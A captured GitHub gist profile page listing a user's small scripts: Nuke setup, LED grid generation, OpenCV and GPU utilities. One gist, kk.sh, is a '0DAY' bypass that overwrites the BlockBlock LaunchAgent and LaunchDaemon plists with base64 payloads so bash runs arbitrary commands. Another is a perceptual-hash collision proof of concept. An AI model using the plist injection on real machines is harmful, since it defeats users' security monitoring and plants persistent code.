Skip to content

Instantly share code, notes, and snippets.

View flipphillips's full-sized avatar

Flip Phillips flipphillips

View GitHub Profile
@flipphillips
flipphillips / setupNukeDev.sh
Created February 11, 2024 16:42
nuke plugin subdirectory creator
#!/bin/bash
NUKE_DIR="$HOME/.nuke"
PYTHON_DIR="$NUKE_DIR/python"
GIZMOS_DIR="$NUKE_DIR/gizmos"
PLUGINS_DIR="$NUKE_DIR/plugins"
INIT_FILE="$NUKE_DIR/init.py"
# Create .nuke directory if it doesn't exist
if [ ! -d "$NUKE_DIR" ]; then
@flipphillips
flipphillips / LEDWallGrid.jsx
Created January 18, 2024 18:23
Led wall grid generator
//
// LEDWallGrid - This script will create a grid of squares for an LED wall.
//
// Flip Phillips
// Darren Alexander (from FidoLED)
//
// Winter 2024
//
// (c) Darren Alexander 2015
// (c) Flip Phillips 2024 but released under the MIT license
@flipphillips
flipphillips / kk.sh
Created March 3, 2022 02:32
Bypass KnockKnock (& BlockBlock) LaunchAgents/LaunchDaemons detection (CLI+UI versions) (<=1.9.0, 0DAY)
# Inject malicious datas into BlockBlock plist (will create "pwned-unprivileged" file in /tmp) (unprivileged)
(> ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBbdG91Y2ggL3RtcC9wd25lZC11bnByaXZpbGVnZWQ7IC9BcHBsaWNhdGlvbnMvQmxvY2tCbG9jay5hcHAvQ29udGVudHMvTWFjT1MvQmxvY2tCbG9jayBhZ2VudAlfECFjb20ub2JqZWN0aXZlU2VlLmJsb2NrYmxvY2suYWdlbnQIESc6REpLT1RXtbYAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist)
# Inject malicious datas into BlockBlock plist (will create "pwned-privileged" file in /tmp) (privileged)
(> /Library/LaunchDaemons/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBadG91Y2ggL3RtcC9wd25lZC1wcml2aWxlZ2VkOyAvQXBwbGljYXRpb25zL0Jsb2NrQmxvY2suYXBwL0NvbnRlbnRzL01hY09TL0Jsb2NrQmxvY2sgZGFlbW
@flipphillips
flipphillips / resolution.py
Last active December 1, 2021 01:42
opencv resolution test. need to install pandas and lxml for it to work
import pandas as pd
import cv2
url = "https://en.wikipedia.org/wiki/List_of_common_resolutions"
table = pd.read_html(url)[0]
table.columns = table.columns.droplevel()
cap = cv2.VideoCapture(0)
resolutions = {}
@flipphillips
flipphillips / collisionLSH.py
Created August 9, 2021 01:31 — forked from unrealwill/collisionLSH.py
Proof of Concept : generating collisions on a neural perceptual hash
import tensorflow as tf #We need tensorflow 2.x
import numpy as np
#The hashlength in bits
hashLength = 256
def buildModel():
#we can set the seed to simulate the fact that this network is known and doesn't change between runs
#tf.random.set_seed(42)
model = tf.keras.Sequential()
@flipphillips
flipphillips / nvidia smi power annoyance
Created August 20, 2020 15:56
nvidia power draw annoyance
sudo nvidia-smi --power-limit=275 --id=0
sudo nvidia-smi --persistence-mode=1 --id=1
sudo nvidia-smi --persistence-mode=1 --id=0
@flipphillips
flipphillips / clean_macos_downloads.sh
Last active July 19, 2020 19:13
cleans up SQL database of macOS downloads
#!/bin/bash
echo "Before..."
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF
echo "Churning..."
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'delete from LSQuarantineEvent'
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'vacuum LSQuarantineEvent'
echo "After..."
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF
echo "Done."
GetObserverIP[ip_] := Module[{wx, ins, raw},
wx = Import["http://" <> ip <> "/livedata.htm", "XMLObject"];
ins = Cases[wx, XMLElement["input", _, _], Infinity];
raw = Flatten[
Map[{"name" -> "value"} /. #[[2]] &, ins[[1 ;; -6]]]];
Quiet[MapAt[ToExpression,
MapAt[DateObject[#] &, raw, {1, 2}], {8 ;; -1, 2}]]]
@flipphillips
flipphillips / pre-commit
Last active August 13, 2017 21:14
githooks
#!/usr/bin/env bash
#
# a git hook -
# it does the silly things with my version.json files so I can keep track of silly stuff
#
# bump version and go...
VERSIONFILE="version.json"
if [ -e ./version.json ]; then

Keybase proof

I hereby claim:

  • I am flipphillips on github.
  • I am flipphillips (https://keybase.io/flipphillips) on keybase.
  • I have a public key whose fingerprint is 9DCC 89AD E520 C857 DD6A 46CC 9473 6856 24EE 271D

To claim this, I am signing this object: